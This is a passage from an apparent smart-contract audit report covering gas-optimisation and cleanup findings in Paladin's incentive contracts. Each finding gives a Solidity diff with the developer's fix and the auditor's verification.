Paladin: This was kept, and even if redundant, we want it as an extra security to prevent any edge case scenario where a Hook/Subscriber is added via the Manager and already has existing deposits/liquidity for users, rewards are deposited, and so the `_updateRewardState()` method is not called via `updateUserState()` or a similar method, and the liquidity would not be synced correctly for the user.

Cyfrin: Acknowledged.

7.6.4 Cache `amount` variable should be used within loop to save gas

Description: The `amount` variable is assigned within `IncentiveManager::notifyRemoveLiquidty` to avoid repeated typecasting; however, it is not currently used within the loop.

Recommended Mitigation:

```
    function notifyRemoveLiquidty(PoolId id, address lpToken, address account, int256 liquidityDelta)
        external
        onlyAllowedHooks
    {
        ...
        uint256 amount = toUint256(-liquidityDelta);
        ...
        if (length > 0) {
            for (uint256 i; i < length;) {
                // Notify the Incentive Logic of the balance change
                IIncentiveLogic(incentiveSystems[_systems[i]].system).notifyBalanceChange(
--                  _id, account, toUint256(-liquidityDelta), false
++                  _id, account, amount, false
                );
                unchecked {
                    ++i;
                }
            }
        }

        poolTotalLiquidity[_id] -= amount;
        poolUserLiquidity[_id][account] -= amount;

        emit LiquidityChange(_id, account, address(0), amount);
    }
```

Paladin: Fixed by commit 075c846.

Cyfrin: Verified. The cast amount in now cached.

7.6.5 Cache storage reads in `TimeWeightedIncentiveLogic`

Description: Unlike the other logic contracts, `TimeWeightedIncentiveLogic` does not currently cache the reward distribution rate read from storage.

Recommended Mitigation:

```
function _depositRewards(
    IncentivizedPoolId id,
    address token,
    uint256 amount,
    uint256 duration,
    uint256 requiredDuration,
    RewardType rewardType
) internal {
    ...
    if (endTimestampCache < block.timestamp) {
        ...
    } else {
        if (msg.sender != distributionManagers[id][token]) revert CallerNotManager();
        if (rewardType != distributionRewardTypes[id][token]) revert CannotChangeParameters();
        if (requiredDuration != distributionRequiredDurations[id][token]) revert
        ↪  CannotChangeParameters();

        // Calculates the remianing duration left for the current distribution
        uint256 remainingDuration = endTimestampCache - block.timestamp;
        if (remainingDuration + duration < MIN_DURATION) revert InvalidDuration();
        // And calculates the new duration
        uint256 newDuration = remainingDuration + duration;

        // Calculates the leftover rewards from the current distribution
--    uint256 leftoverRewards = _state.ratePerSec * remainingDuration;
++    uint96 ratePerSecCache = _state.ratePerSec;
++    uint256 leftoverRewards = ratePerSecCache * remainingDuration;

        // Calculates the new rate
        uint256 newRate = (amount + leftoverRewards) / newDuration;
--      if (newRate < _state.ratePerSec) revert CannotReduceRate();
++      if (newRate < ratePerSecCache) revert CannotReduceRate();

        // Stores the new reward distribution parameters
        _state.ratePerSec = newRate.toUint96();
        _state.endTimestamp = (block.timestamp + newDuration).toUint32();
        _state.lastUpdateTime = (block.timestamp).toUint32();
    }

    IncentiveManager(incentiveManager).addPoolIncentiveSystem(id);
    // Sync pool total liquidity if not already done
    if(!poolSynced[id]) {
        _syncPoolLiquidity(id);
        poolSynced[id] = true;
    }

    emit RewardsDeposited(id, token, amount, duration);
}
```

Paladin: Fixed by commit 075c846.

Cyfrin: Verified. The rate is now cached.

7.6.6 Superfluous assignment can be removed

Description: The assignment of `newDuration` to `maxDuration` within `TimeWeightedIncentiveLogic::_earnedTimeWeigthed` when it exceeds this value can be removed as this case is handled in the subsequent conditional block and so is effectively a no-op.

Recommended Mitigation:

```
--  if (newDuration >= maxDuration) newDuration = maxDuration;
    uint256 ratio;
    if (newDuration >= maxDuration) {
        uint256 remainingIncreaseDuration = maxDuration - _checkpoint.duration;
        uint256 left = ((((maxDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
        ratio =
            ((left * remainingIncreaseDuration) + (UNIT * (timeDiff - remainingIncreaseDuration))) /
            ↪  timeDiff;
    } else {
        ratio = ((((newDuration - _checkpoint.duration - 1) * UNIT) / 2) / maxDuration);
    }
```

Paladin: Fixed by commit f8dc21e.

Cyfrin: Verified. The assignment has been removed.